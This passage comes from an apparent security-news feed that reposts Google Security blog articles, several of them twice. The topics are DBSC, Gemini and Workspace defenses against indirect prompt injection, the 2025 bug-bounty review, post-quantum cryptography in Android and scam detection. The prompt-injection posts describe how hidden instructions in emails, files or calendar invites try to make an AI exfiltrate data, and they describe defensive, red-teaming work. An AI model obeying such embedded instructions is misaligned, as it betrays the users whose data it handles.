DBSC was designed from the beginning to be an open web standard through the W3C process and adoption by the Web Application Security Working Group. Through this process we partnered with Microsoft to design the standard to ensure it works for the web and got input from many in the industry that are responsible for web security.

Additionally, over the past year, we have also conducted two Origin Trials to ensure DBSC effectively serves the requirements of the broader web community. Many web platforms, including Okta, actively participated in these trials and their own testing and provided essential feedback to ensure the protocol effectively addresses their diverse needs.

If you are a web developer and are looking for a way to secure your users against session theft, refer to our developer guide for implementation details. Additionally, all the details about DBSC can be found on the spec and the corresponding github . Feel free to use the issues page to report bugs or provide feature requests.

 Future improvements

As we continue to evolve the DBSC standard, future iterations will focus on increasing support across diverse ecosystems and introducing advanced capabilities tailored for complex enterprise environments. Key areas of ongoing development include:

 Securing Federated Identity: In modern enterprise environments, Single Sign-On (SSO) is ubiquitous. We are expanding the DBSC protocol to support cross-origin bindings, ensuring that a relying party (RP) session remains continuously bound to the same original device key used by the Identity Provider (IdP). This guarantees that the high-assurance security of the initial device binding is maintained throughout the entire federated login process, creating an unbroken chain of trust.

 Advanced Registration Capabilities: While DBSC provides robust protection for established cookies, some environments require an even stronger foundation when the session is first created. We are developing mechanisms to bind DBSC sessions to pre-existing, trusted key material rather than generating a new key at sign-in. This advanced capability enables websites to integrate complementary technologies, such as mTLS certificates or hardware security keys, creating a highly secure registration environment.

 Broader Device Support: We are also actively exploring the potential addition of software-based keys to extend protections to devices without dedicated secure hardware.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Mitigating prompt injection attacks with a layered defense strategy
https://kevwire.com/record/google-security-mitigating-prompt-injection-attacks-91aa1a6e0568
Mitigating prompt injection attacks with a layered defense strategy (Jun 13, 2025).
Posted by Adam Gavish, Google GenAI Security Team 

 With the rapid adoption of generative AI, a new wave of threats is emerging across the industry with the aim of manipulating the AI systems themselves. One such emerging attack vector is indirect prompt injections. Unlike direct prompt injections, where an attacker directly inputs malicious commands into a prompt, indirect prompt injections involve hidden malicious instructions within external data sources. These may include emails, documents, or calendar invites that instruct AI to exfiltrate user data or execute other rogue actions. As more governments, businesses, and individuals adopt generative AI to get more done, this subtle yet potentially potent attack becomes increasingly pertinent across the industry, demanding immediate attention and robust security measures. 

 At Google, our teams have a longstanding precedent of investing in a defense-in-depth strategy, including robust evaluation, threat analysis, AI security best practices , AI red-teaming , adversarial training, and model hardening for generative AI tools. This approach enables safer adoption of Gemini in Google Workspace and the Gemini app (we refer to both in this blog as “Gemini” for simplicity). Below we describe our prompt injection mitigation product strategy based on extensive research, development, and deployment of improved security mitigations. 

 A layered security approach 

 Google has taken a layered security approach introducing security measures designed for each stage of the prompt lifecycle. From Gemini 2.5 model hardening, to purpose-built machine learning (ML) models detecting malicious instructions, to system-level safeguards, we are meaningfully elevating the difficulty, expense, and complexity faced by an attacker. This approach compels adversaries to resort to methods that are either more easily identified or demand greater resources. 

 Our model training with adversarial data significantly enhanced our defenses against i
AI classification: infrastructure; evidence: confirmed. The official article discusses security of AI systems or agents. AI is the affected infrastructure; this is not evidence that attackers used AI.
Sources:
Google Security Research: Mitigating prompt injection attacks with a layered defense strategy: https://security.googleblog.com/2025/06/mitigating-prompt-injection-attacks.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Adam Gavish, Google GenAI Security Team 

 With the rapid adoption of generative AI, a new wave of threats is emerging across the industry with the aim of manipulating the AI systems themselves. One such emerging attack vector is indirect prompt injections. Unlike direct prompt injections, where an attacker directly inputs malicious commands into a prompt, indirect prompt injections involve hidden malicious instructions within external data sources. These may include emails, documents, or calendar invites that instruct AI to exfiltrate user data or execute other rogue actions. As more governments, businesses, and individuals adopt generative AI to get more done, this subtle yet potentially potent attack becomes increasingly pertinent across the industry, demanding immediate attention and robust security measures. 

 At Google, our teams have a longstanding precedent of investing in a defense-in-depth strategy, including robust evaluation, threat analysis, AI security best practices , AI red-teaming , adversarial training, and model hardening for generative AI tools. This approach enables safer adoption of Gemini in Google Workspace and the Gemini app (we refer to both in this blog as “Gemini” for simplicity). Below we describe our prompt injection mitigation product strategy based on extensive research, development, and deployment of improved security mitigations. 

 A layered security approach 

 Google has taken a layered security approach introducing security measures designed for each stage of the prompt lifecycle. From Gemini 2.5 model hardening, to purpose-built machine learning (ML) models detecting malicious instructions, to system-level safeguards, we are meaningfully elevating the difficulty, expense, and complexity faced by an attacker. This approach compels adversaries to resort to methods that are either more easily identified or demand greater resources. 

 Our model training with adversarial data significantly enhanced our defenses against indirect prompt injection attacks in Gemini 2.5 models ( technical details ). This inherent model resilience is augmented with additional defenses that we built directly into Gemini, including: 

 Prompt injection content classifiers 

 Security thought reinforcement 

 Markdown sanitization and suspicious URL redaction 

 User confirmation framework 

 End-user security mitigation notifications 

 This layered approach to our security strategy strengthens the overall security framework for Gemini – throughout the prompt lifecycle and across diverse attack techniques. 

 1. Prompt injection content classifiers 

 Through collaboration with leading AI security researchers via Google's AI Vulnerability Reward Program (VRP) , we've curated one of the world’s most advanced catalogs of generative AI vulnerabilities and adversarial data. Utilizing this resource, we built and are in the process of rolling out proprietary machine learning models that can detect malicious prompts and instructions within various formats, such as emails and files, drawing from real-world examples. Consequently, when users query Workspace data with Gemini, the content classifiers filter out harmful data containing malicious instructions, helping to ensure a secure end-to-end user experience by retaining only safe content. For example, if a user receives an email in Gmail that includes malicious instructions, our content classifiers help to detect and disregard malicious instructions, then generate a safe response for the user. This is in addition to built-in defenses in Gmail that automatically block more than 99.9% of spam, phishing attempts, and malware. 

 A diagram of Gemini’s actions based on the detection of the malicious instructions by content classifiers. 

 2. Security thought reinforcement 

 This technique adds targeted security instructions surrounding the prompt content to remind the large language model (LLM) to perform the user-directed task and ignore any adversarial instructions that could be present in the content. With this approach, we steer the LLM to stay focused on the task and ignore harmful or malicious requests added by a threat actor to execute indirect prompt injection attacks. 

 A diagram of Gemini’s actions based on additional protection provided by the security thought reinforcement technique. 

 3. Markdown sanitization and suspicious URL redaction 

 Our markdown sanitizer identifies external image URLs and will not render them, making the “EchoLeak” 0-click image rendering exfiltration vulnerability not applicable to Gemini. From there, a key protection against prompt injection and data exfiltration attacks occurs at the URL level. With external data containing dynamic URLs, users may encounter unknown risks as these URLs may be designed for indirect prompt injections and data exfiltration attacks. Malicious instructions executed on a user's behalf may also generate harmful URLs. With Gemini, our defense system includes suspicious URL detection based on Google Safe Browsing to differentiate between safe and unsafe links, providing a secure experience by helping to prevent URL-based attacks. For example, if a document contains malicious URLs and a user is summarizing the content with Gemini, the suspicious URLs will be redacted in Gemini’s response. 

 Gemini in Gmail provides a summary of an email thread. In the summary, there is an unsafe URL. That URL is redacted in the response and is replaced with the text “suspicious link removed”. 

 4. User confirmation framework 

 Gemini also features a contextual user confirmation system. This framework enables Gemini to require user confirmation for certain actions, also known as “Human-In-The-Loop” (HITL), using these responses to bolster security and streamline the user experience. For example, potentially risky operations like deleting a calendar event may trigger an explicit user confirmation request, thereby helping to prevent undetected or immediate execution of the operation. 

 The Gemini app with instructions to delete all events on Saturday. Gemini responds with the events found on Google Calendar and asks the user to confirm this action. 

 5. End-user security mitigation notifications 

 A key aspect to keeping our users safe is sharing details on attacks that we’ve stopped so users can watch out for similar attacks in the future. To that end, when security issues are mitigated with our built-in defenses, end users are provided with contextual information allowing them to learn more via dedicated help center articles. For example, if Gemini summarizes a file containing malicious instructions and one of Google’s prompt injection defenses mitigates the situation, a security notification with a “Learn more” link will be displayed for the user. Users are encouraged to become more familiar with our prompt injection defenses by reading the Help Center article . 

 Gemini in Docs with instructions to provide a summary of a file. Suspicious content was detected and a response was not provided. There is a yellow security notification banner for the user and a statement that Gemini’s response has been removed, with a “Learn more” link to a relevant Help Center article . 

 Moving forward 

 Our comprehensive prompt injection security strategy strengthens the overall security framework for Gemini. Beyond the techniques described above, it also involves rigorous testing through manual and automated red teams, generative AI security BugSWAT events, strong security standards like our Secure AI Framework (SAIF), and partnerships with both external researchers via the Google AI Vulnerability Reward Program (VRP) and industry peers via the Coalition for Secure AI (CoSAI). Our commitment to trust includes collaboration with the security community to responsibly disclose AI security vulnerabilities, share our latest threat intelligence on ways we see bad actors trying to leverage AI, and offering insights into our work to build stronger prompt
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: ai-research; regions: Global; provenance: pipeline.
KEV evidence not available.

### Google Workspace’s continuous approach to mitigating indirect prompt injections
https://kevwire.com/record/google-security-google-workspaces-continuous-approach-de5844ac847e
Google Workspace’s continuous approach to mitigating indirect prompt injections (Apr 2, 2026).
Posted by Adam Gavish, Google GenAI Security Team 

 Indirect prompt injection (IPI) is an evolving threat vector targeting users of complex AI applications with multiple data sources, such as Workspace with Gemini. This technique enables the attacker to influence the behavior of an LLM by injecting malicious instructions into the data or tools used by the LLM as it completes the user’s query. This may even be possible without any input directly from the user. 

 IPI is not the kind of technical problem you “solve” and move on. Sophisticated LLMs with increasing use of agentic automation combined with a wide range of content create an ultra-dynamic and evolving playground for adversarial attacks. That’s why Google takes a sophisticated and comprehensive approach to these attacks. We’re continuously improving LLM resistance to IPI attacks and launching AI application capabilities with ever-improving defenses. Staying ahead of the latest indirect prompt injection attacks is critical to our mission of securing Workspace with Gemini. 

 In our previous blog “ Mitigating prompt injection attacks with a layered defense strategy ”, we reviewed the layered architecture of our IPI defenses. In this blog, we’ll share more detail on the continuous approach we take to improve these defenses and to solve for new attacks. 

 New attack discovery 

 By proactively discovering and cataloging new attack vectors through internal and external programs, we can identify vulnerabilities and deploy robust defenses ahead of adversarial activity. 

 Human Red-Teaming 

 Human Red-Teaming uses adversarial simulations to uncover security and safety vulnerabilities. Specialized teams execute attacks based on realistic user profiles to exploit weaknesses, coordinating with product teams to resolve identified issues. 

 Automated Red-Teaming 

 Automated Red-Teaming is done via dynamic, machine-learning-driven frameworks to stress-test environments. By algorithmically generating and iterating on
Sources:
Google Security Research: Google Workspace’s continuous approach to mitigating indirect prompt injections: https://security.googleblog.com/2026/04/google-workspaces-continuous-approach.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Adam Gavish, Google GenAI Security Team 

 Indirect prompt injection (IPI) is an evolving threat vector targeting users of complex AI applications with multiple data sources, such as Workspace with Gemini. This technique enables the attacker to influence the behavior of an LLM by injecting malicious instructions into the data or tools used by the LLM as it completes the user’s query. This may even be possible without any input directly from the user. 

 IPI is not the kind of technical problem you “solve” and move on. Sophisticated LLMs with increasing use of agentic automation combined with a wide range of content create an ultra-dynamic and evolving playground for adversarial attacks. That’s why Google takes a sophisticated and comprehensive approach to these attacks. We’re continuously improving LLM resistance to IPI attacks and launching AI application capabilities with ever-improving defenses. Staying ahead of the latest indirect prompt injection attacks is critical to our mission of securing Workspace with Gemini. 

 In our previous blog “ Mitigating prompt injection attacks with a layered defense strategy ”, we reviewed the layered architecture of our IPI defenses. In this blog, we’ll share more detail on the continuous approach we take to improve these defenses and to solve for new attacks. 

 New attack discovery 

 By proactively discovering and cataloging new attack vectors through internal and external programs, we can identify vulnerabilities and deploy robust defenses ahead of adversarial activity. 

 Human Red-Teaming 

 Human Red-Teaming uses adversarial simulations to uncover security and safety vulnerabilities. Specialized teams execute attacks based on realistic user profiles to exploit weaknesses, coordinating with product teams to resolve identified issues. 

 Automated Red-Teaming 

 Automated Red-Teaming is done via dynamic, machine-learning-driven frameworks to stress-test environments. By algorithmically generating and iterating on attack payloads, we can mimic the behavior of sophisticated threats at scale. This allows us to map complex attack paths and validate the effectiveness of our security controls across a much wider range of edge cases than manual testing could achieve on its own. 

 Google AI Vulnerability Rewards Program (VRP) 

 The Google AI Vulnerability Rewards Program (VRP) is a critical tool for enabling collaboration between Google and external security researchers who discover new attacks leveraging IPI. Through this VRP, we recognize and reward contributors for their research. We also host regular, live hacking events where we provide invited researchers access to pre-release features, proactively uncovering novel vulnerabilities. These partnerships enable Google to quickly validate, reproduce, and resolve externally-discovered issues. 

 Publicly disclosed AI attacks 

 Google utilizes open-source intelligence feeds to stay on top of the latest publicly disclosed IPI attacks, across social media, press releases, blogs, and more. From there, new AI vulnerabilities are sourced, reproduced, and catalogued internally to ensure our products are not impacted. 

 Vulnerability catalog 

 All newly discovered vulnerabilities go through a comprehensive analysis process performed by the Google Trust, Security, & Safety teams. Each new vulnerability is reproduced, checked for duplications, mapped into attack technique / impact category, and assigned to relevant owners. The combination of new attack discovery sources and vulnerability catalog process helps Google stay on top of the latest attacks in an actionable manner. 

 Synthetic data generation 

 After we discover, curate, and catalog new attacks, we use Simula to generate synthetic data expanding these new attacks. This process is essential because it allows the team to develop attack variants for completeness and coverage, and to prepare new training and validation data sets. This accelerated workflow has boosted synthetic data generation by 75%, supporting large-scale defense model evaluation and retraining, as well as updating the data set used for calculating and reporting on defense effectiveness. 

 Ongoing defense refinement 

 Continually updating and enhancing our defense mechanisms allows us to address a broader range of attack techniques, effectively reducing the overall attack surface. Updating each defense type requires different tasks, from config updates, to prompt engineering and ML model retraining. 

 Deterministic Defenses 

 Deterministic defenses , including user confirmation, URL sanitization, and tool chaining policies, are designed for rapid response against new or emerging prompt injection attacks by relying on simple configuration updates. These defenses are governed by a centralized Policy Engine, with configurations for policies like baseline tool calls, URL sanitization, and tool chaining. For immediate threats, this configuration-based system facilitates a streamlined process for "point fixes," such as regex takedowns, providing an agile defense layer that acts faster than traditional ML/LLM model refresh cycles. 

 ML-Based Defenses 

 After generating synthetic data that expands new attacks into variants, the next step is to retrain our ML-based defenses to mitigate these new attacks. We partition the synthetic data described above into separate training and validation sets to ensure performance is evaluated against held-out examples. This approach ensures repeatability, data consistency for fixed training/testing, and establishes a scalable architecture to support future extensions towards fully automated model refresh. 

 LLM-Based Defenses 

 Using the new synthetic data examples, our LLM-based defenses go through prompt engineering with refined system instructions. The goal is to iteratively optimize these prompts against agreed-upon defense effectiveness metrics, ensuring the models remain resilient against evolving threat vectors. 

 Gemini Model Hardening 

 Beyond system-level guardrails and application-level defenses, we prioritize ‘model hardening’ , a process that improves the Gemini model's internal capability to identify and ignore harmful instructions within data. By utilizing synthetic datasets and fresh attack patterns, we can model various threat iterations. This enables us to strengthen the Gemini model's ability to disregard harmful embedded commands while following the user's intended request. Through this process of model hardening, Gemini has become significantly more adept at detecting and disregarding injected instructions. This has led to a reduction in the success rate of attacks without compromising the model's efficiency during routine operations. 

 Defense effectiveness 

 To measure the real-world impact of defense improvements, we simulate attacks against many Workspace features. This process leverages the newly generated synthetic attack data described on this blog, to create a robust, end-to-end evaluation. The simulation is run against multiple Workspace apps, such as Gmail and Docs, using a standardized set of assets to ensure reliable results. To determine the exact impact of a defense improvement (e.g., an updated ML model or a new LLM prompt optimization), the end-to-end evaluation is run with and without the defense enabled. This comparative testing provides the essential "before and after" metrics needed to validate defense efficacy and drive continuous improvement. 

 Moving forward 

 Our commitment to AI security is rooted in the principle that every day you’re safer with Google. While the threat landscape of indirect prompt injection evolves, we are building Workspace with Gemini to be a secure and trustworthy platform for AI-first work. IPI is a complex security challenge, which requires a defense-in-depth strategy and continuous mitigation approach. To get there, we’re combining world-class security research, automated pipelines, and advanced ML/LLM-based models. This ro
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### VRP 2025 Year in Review
https://kevwire.com/record/google-security-vrp-2025-year-in-review-ffbe3c59127f
VRP 2025 Year in Review (Mar 31, 2026).
Posted by Dirk G ö hmann, Tony Mendez, and the Vulnerability Rewards Program Team 

 2025 marked a special year in the history of vulnerability rewards and bug bounty programs at Google: our 15th anniversary 🎉🎉🎉! Originally started in 2010 , our vulnerability reward program (VRP) has seen constant additions and expansions over the past decade and a half, clearly indicating the value the programs under this umbrella contribute to the safety and security of Google and its users, but also highlighting their acceptance by the external research community, without which such programs cannot function. 

 Coming back to 2025 specifically, our VRP once again confirmed the ongoing value of engaging with the external security research community to make Google and its products safer. This was more evident than ever as we awarded over $17 million (an all-time high and more than 40% increase compared to 2024!) to over 700 researchers based in countries around the globe – across all of our programs . 

 Vulnerability Reward Program 2025 in Numbers 

 Want to learn more about who’s reporting to the VRP? Check out our Leaderboard on the Google Bug Hunters site . 

 VRP Highlights in 2025 

 In 2025 we made a series of changes and improvements to our VRP and related initiatives, and continued to invest in the security research community through a series of focused events: 

 The new, dedicated AI VRP was launched , underscoring the importance of this space to Google and its relevance for external researchers. Previously organized as a part of the Abuse VRP, moving into a dedicated VRP has gone hand in hand with improvements to the rules, offering researchers more clarity on scope and reward amounts. 

 Similarly, the Chrome VRP now also includes reward categories for problems found in AI features . 

 We launched a patch rewards program for OSV-SCALIBR, Google's open source tool for finding vulnerabilities in software dependencies. Contributors are rewarded for providing novel OSV
Sources:
Google Security Research: VRP 2025 Year in Review: https://security.googleblog.com/2026/03/vrp-2025-year-in-review.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Dirk G ö hmann, Tony Mendez, and the Vulnerability Rewards Program Team 

 2025 marked a special year in the history of vulnerability rewards and bug bounty programs at Google: our 15th anniversary 🎉🎉🎉! Originally started in 2010 , our vulnerability reward program (VRP) has seen constant additions and expansions over the past decade and a half, clearly indicating the value the programs under this umbrella contribute to the safety and security of Google and its users, but also highlighting their acceptance by the external research community, without which such programs cannot function. 

 Coming back to 2025 specifically, our VRP once again confirmed the ongoing value of engaging with the external security research community to make Google and its products safer. This was more evident than ever as we awarded over $17 million (an all-time high and more than 40% increase compared to 2024!) to over 700 researchers based in countries around the globe – across all of our programs . 

 Vulnerability Reward Program 2025 in Numbers 

 Want to learn more about who’s reporting to the VRP? Check out our Leaderboard on the Google Bug Hunters site . 

 VRP Highlights in 2025 

 In 2025 we made a series of changes and improvements to our VRP and related initiatives, and continued to invest in the security research community through a series of focused events: 

 The new, dedicated AI VRP was launched , underscoring the importance of this space to Google and its relevance for external researchers. Previously organized as a part of the Abuse VRP, moving into a dedicated VRP has gone hand in hand with improvements to the rules, offering researchers more clarity on scope and reward amounts. 

 Similarly, the Chrome VRP now also includes reward categories for problems found in AI features . 

 We launched a patch rewards program for OSV-SCALIBR, Google's open source tool for finding vulnerabilities in software dependencies. Contributors are rewarded for providing novel OSV-SCALIBR plugins for inventory, vulnerability, or secret detection that expand the tool’s scanning capabilities. Besides strengthening the tool’s capabilities for all users, user submissions already helped us uncover and remediate a number of leaked secrets internally! 

 As part of Google's Cybersecurity Awareness Month campaign in October, we hosted our very own security conference in Mexico City, ESCAL8 . The conference included init.g(mexico), our cybersecurity workshop for students, HACKCELER8, Google’s CTF finals, and a Safer with Google seminar, sharing technical thought leadership with Mexican government officials. 

 bugSWAT, our special invite-only live hacking event, saw several editions in 2025 and delivered some outstanding findings across different areas: 

 We hosted our first dedicated AI bugSWAT (Tokyo) in April which yielded a whopping 70+ reports filed and over $400,000 in rewards issued. 

 We continued the momentum in early summer with Cloud bugSWAT (Sunnyvale) in June resulting in 130 reports, with $1,600,000 in rewards paid out. 

 Next in line was bugSWAT Las Vegas in August, leading to 77 reports and rewards of $380,000. 

 And finally, as part of ESCAL8 in Mexico City, bugSWAT Mexico focused on many different targets and spaces including AI, Android, and Cloud, and resulted in the filing of 107 reports, totalling $566,000 in rewards to date. 

 Looking for more details? See the extended version of this post on the Security Engineering blog for reports from individual VRPs such as Android, Abuse, AI, Cloud, Chrome, and OSS, including specifics concerning high-impact bug reports and focus areas of security research. 

 What’s coming in 2026 

 In 2026, we remain fully committed to fostering collaboration, innovation, and transparency with the security community by hosting several bugSWAT events throughout the year, and following up with the next edition of our cybersecurity conference, ESCAL8. More broadly, our goal remains to stay ahead of emerging threats, adapt to evolving technologies, and continue to strengthen the security posture of Google’s products and services – all of which is only possible in collaboration with the external community of researchers we are so lucky to collaborate with! 

 In this spirit, we’d like to extend a huge thank you to our bug hunter community for helping us make Google products and platforms more safe and secure for our users around the world – and invite researchers not yet engaged with the Vulnerability Reward Program to join us in our mission to keep Google safe (check out our programs for inspiration 🙂)! 

 Thank you to Tony Mendez, Dirk Göhmann, Alissa Scherchen, Krzysztof Kotowicz, Martin Straka, Michael Cote, Sam Erb, Jason Parsons, Alex Gough, and Mihai Maruseac. 

 Tip: Want to be informed of new developments and events around our Vulnerability Reward Program? Follow the Google VRP channel on X to stay in the loop and be sure to check out the Security Engineering blog, which covers topics ranging from VRP updates to security practices and vulnerability descriptions!

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Security for the Quantum Era: Implementing Post-Quantum Cryptography in Android
https://kevwire.com/record/google-security-post-quantum-cryptography-in-android-75541d52b8cb
Security for the Quantum Era: Implementing Post-Quantum Cryptography in Android (Mar 25, 2026).
Posted by Eric Lynch, Product Manager, Android and Dom Elliott, Group Product Manager, Google Play 

Modern digital security is at a turning point. We are on the threshold of using quantum computers to solve "impossible" problems in drug discovery, materials science, and energy—tasks that even the most powerful classical supercomputers cannot handle. However, the same unique ability to consider different options simultaneously also allows these machines to bypass our current digital locks. This puts the public-key cryptography we’ve relied on for decades at risk, potentially compromising everything from bank transfers to trade secrets. To secure our future, it is vital to adopt the new Post-Quantum Cryptography (PQC) standards National Institute of Standards and Technology (NIST) is urging before large-scale, fault-tolerant quantum computers become a reality.

To stay ahead of the curve, the technology industry must undertake a proactive, multi-year migration to Post-Quantum Cryptography (PQC). We have been preparing for a post-quantum world since 2016 , conducting pioneering experiments with post-quantum cryptography, rolling out post-quantum capabilities in our products, and sharing our expertise through threat models and technical papers. For Android, the objective extends beyond patching individual applications or transport protocols. The imperative is to ensure that the entire platform architecture is resilient for the decades to come.

We are beginning tests of PQC enhancements starting in the next Android 17 beta, followed by general availability in the Android 17 production release. This deployment introduces a comprehensive architectural upgrade that is being rolled out across the operating system. By integrating the recently finalized NIST PQC standards deep into the platform, we’re establishing a new, quantum-resistant chain of trust. This chain of trust secures the platform continuously—from the moment the OS powers on, to the execution of applications d
Sources:
Google Security Research: Security for the Quantum Era: Implementing Post-Quantum Cryptography in Android: https://security.googleblog.com/2026/03/post-quantum-cryptography-in-android.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Eric Lynch, Product Manager, Android and Dom Elliott, Group Product Manager, Google Play 

Modern digital security is at a turning point. We are on the threshold of using quantum computers to solve "impossible" problems in drug discovery, materials science, and energy—tasks that even the most powerful classical supercomputers cannot handle. However, the same unique ability to consider different options simultaneously also allows these machines to bypass our current digital locks. This puts the public-key cryptography we’ve relied on for decades at risk, potentially compromising everything from bank transfers to trade secrets. To secure our future, it is vital to adopt the new Post-Quantum Cryptography (PQC) standards National Institute of Standards and Technology (NIST) is urging before large-scale, fault-tolerant quantum computers become a reality.

To stay ahead of the curve, the technology industry must undertake a proactive, multi-year migration to Post-Quantum Cryptography (PQC). We have been preparing for a post-quantum world since 2016 , conducting pioneering experiments with post-quantum cryptography, rolling out post-quantum capabilities in our products, and sharing our expertise through threat models and technical papers. For Android, the objective extends beyond patching individual applications or transport protocols. The imperative is to ensure that the entire platform architecture is resilient for the decades to come.

We are beginning tests of PQC enhancements starting in the next Android 17 beta, followed by general availability in the Android 17 production release. This deployment introduces a comprehensive architectural upgrade that is being rolled out across the operating system. By integrating the recently finalized NIST PQC standards deep into the platform, we’re establishing a new, quantum-resistant chain of trust. This chain of trust secures the platform continuously—from the moment the OS powers on, to the execution of applications distributed globally. Android is swapping today’s digital locks for advanced encryption to help enhance the security of every app you download—no matter how powerful future supercomputers get.

 Securing the foundation: Verified boot and hardware trust

Security on any computing device begins when the hardware starts; if the underlying operating system is compromised, all subsequent software protections fail. As quantum computing advances, adversaries could potentially forge digital signatures to bypass these foundational integrity checks. To secure the platform against this looming threat, Android 17 introduces two major post-quantum cryptographic (PQC) upgrades:

 Upgrading Android Verified Boot (AVB): The AVB library is integrating the Module-Lattice-Based Digital Signature Algorithm (ML-DSA). This provides quantum-resistant digital signatures, ensuring the software loaded during the boot sequence remains highly resistant to unauthorized modification.

 Migrating Remote Attestation: Android 17 begins the transition of Remote Attestation to a fully PQC-compliant architecture under the current standards. By updating KeyMint's certificate chains to support quantum-resistant algorithms, devices can securely prove their state to relying parties, maintaining trust in a post-quantum environment.

 Empowering developers: Android Keystore updates

Protecting the underlying operating system is only the first layer of defense; developers must be equipped with the cryptographic primitives necessary to leverage PQC keys and establish robust identity verification.

Implementing lattice-based cryptography, which requires significantly larger key sizes and memory footprints than classical elliptic curve cryptography, within the severely resource-constrained Trusted Execution Environment (TEE), represents a major engineering achievement. This capability is designed to support the hardware roots of trust and can now generate and verify post-quantum signatures.

Building on this hardware foundation, Android 17 updates Android Keystore to natively support ML-DSA. This allows applications to leverage quantum-safe signatures entirely within the device’s secure hardware, isolating sensitive key material from the main operating system. The SDK exposes both ML-DSA-65, and ML-DSA-87, enabling developers to seamlessly integrate these using the standard KeyPairGenerator API. This establishes a new era of identity and authentication for the app ecosystem without requiring developers to engineer proprietary cryptographic implementations.

 Ecosystem scale: Bringing hybrid signing to Google Play apps and games 

Android is committed to ensuring the platform is PQC resistant and extending the chain of PQC resistance to application signatures. The mechanisms used to verify the authenticity of applications are being upgraded to ensure that app installations and subsequent updates are strictly tamper-proof against quantum-enabled signature forgery. The platform will verify PQC signatures over APKs to enable this chain of trust.

To bring these critical protections to the wider developer community with minimal friction, the transition will be supported through Play App Signing. This approach provides an immediate bridge to quantum safety for the majority of active installs. Google Play will let developers automatically generate 'hybrid' signature blocks that combine classical and PQC keys.

Updating keys across billions of active devices is a complex operational endeavor. Play App Signing leverages Google Cloud KMS , which helps ensure industry-leading compliance standards, to secure signing keys. By managing signing keys securely in the cloud, Google Play enables developers to seamlessly upgrade their app security to PQC standards without the burden of complex, manual key management.

During the Android 17 release cycle, Google Play will handle the generation of quantum-safe ML-DSA signing keys for new apps and existing apps that opt-in, independent of the applications target API . Later, developers will be able to choose their own classical and ML-DSA signing keys and delegate them to Google Play for their hybrid key upgrade. To promote security best practices, Google Play will also start prompting developers to upgrade their signing keys at least every two years.

 The cryptographic roadmap: From authenticity to privacy

 Google’s post-quantum transition began in 2016 , and Android 17 marks the first phase of Android’s post-quantum transition:

 Securing the foundation : We are upholding the integrity of our attestation and Chain of Trust by incorporating ML-DSA into Android Verified Boot.

 Empower Developers : The inclusion of ML-DSA support within Android Keystore and Play App Signing allows developers to safeguard their users and application. 

 Ecosystem Scale : By using hybrid signatures for APKs, developers can create a protected transition that preserves current trust while adding post-quantum defenses to block unauthorized updates.

Our roadmap further integrates post-quantum key encapsulation into KeyMint, Key Attestation and Remote Key Provisioning. This evolution is intended to bolster the security of the entire identity lifecycle—from hardware-level DICE measurements to our remote attestation servers—ensuring the Android ecosystem remains resilient and private against the quantum threats of tomorrow.

This is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.
Action: Read the exact official research article before applying its defensive techniques or drawing conclusions.
Kind: advisory; regions: Global; provenance: pipeline.
KEV evidence not available.

### Staying One Step Ahead: Strengthening Android’s Lead in Scam Protection
https://kevwire.com/record/google-security-strengthening-android-lead-in-scam-protection-7935c3e4fc8e
Staying One Step Ahead: Strengthening Android’s Lead in Scam Protection (Feb 25, 2026).
Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse 

We’ve shared how Android’s proactive, multi-layered scam defenses utilize Google AI to protect users around the world from over 10 billion suspected malicious calls and messages every month 1 . While that scale is significant, the true impact of these protections is best understood through the stories of the individuals they help keep safe every day. This includes people like Majik B., an IT professional in Sunnyvale, California.

Despite his technical background, Majik recently found himself on a call that felt dangerously legitimate. While using his Pixel, he received a call that appeared to be from his bank. The number looked correct, the caller knew his name and his address, and the story about a "suspicious charge" made perfect sense. "I’m usually pretty careful about this stuff," Majik recalled, "but I stayed on the line longer than I normally would. Even knowing how these scams work, it was convincing in the moment."

The turning point came when his phone displayed a Scam Detection warning during the call, which provided a critical moment to pause and reflect. Majik hung up, checked his bank app directly, and confirmed there was no fraudulent charge. For Majik, Scam Detection was the intervention he needed: “The warning is what made me pause and avoid a bad situation”.

While stories like Majik’s show how our existing protections provide a robust shield against scams, our work isn't done. As scammers evolve their tactics and create more convincing and personalized threats, we’re using the best of Google AI to stay one step ahead. 

A recent evaluation by Counterpoint Research found that Android smartphones provide the most comprehensive AI-powered protections of any mobile platform. We are committed to building on this foundation by expanding our AI-powered protections to more users and devices, while rolling out ne
Sources:
Google Security Research: Staying One Step Ahead: Strengthening Android’s Lead in Scam Protection: https://security.googleblog.com/2026/02/strengthening-android-lead-in-scam-protection.html
Google Security Research syndication feed: https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50
Posted by Lyubov Farafonova, Product Manager, Phone by Google; Alberto Pastor Nieto, Sr. Product Manager Google Messages and RCS Spam and Abuse 

We’ve shared how Android’s proactive, multi-layered scam defenses utilize Google AI to protect users around the world from over 10 billion suspected malicious calls and messages every month 1 . While that scale is significant, the true impact of these protections is best understood through the stories of the individuals they help keep safe every day. This includes people like Majik B., an IT professional in Sunnyvale, California.

Despite his technical background, Majik recently found himself on a call that felt dangerously legitimate. While using his Pixel, he received a call that appeared to be from his bank. The number looked correct, the caller knew his name and his address, and the story about a "suspicious charge" made perfect sense. "I’m usually pretty careful about this stuff," Majik recalled, "but I stayed on the line longer than I normally would. Even knowing how these scams work, it was convincing in the moment."

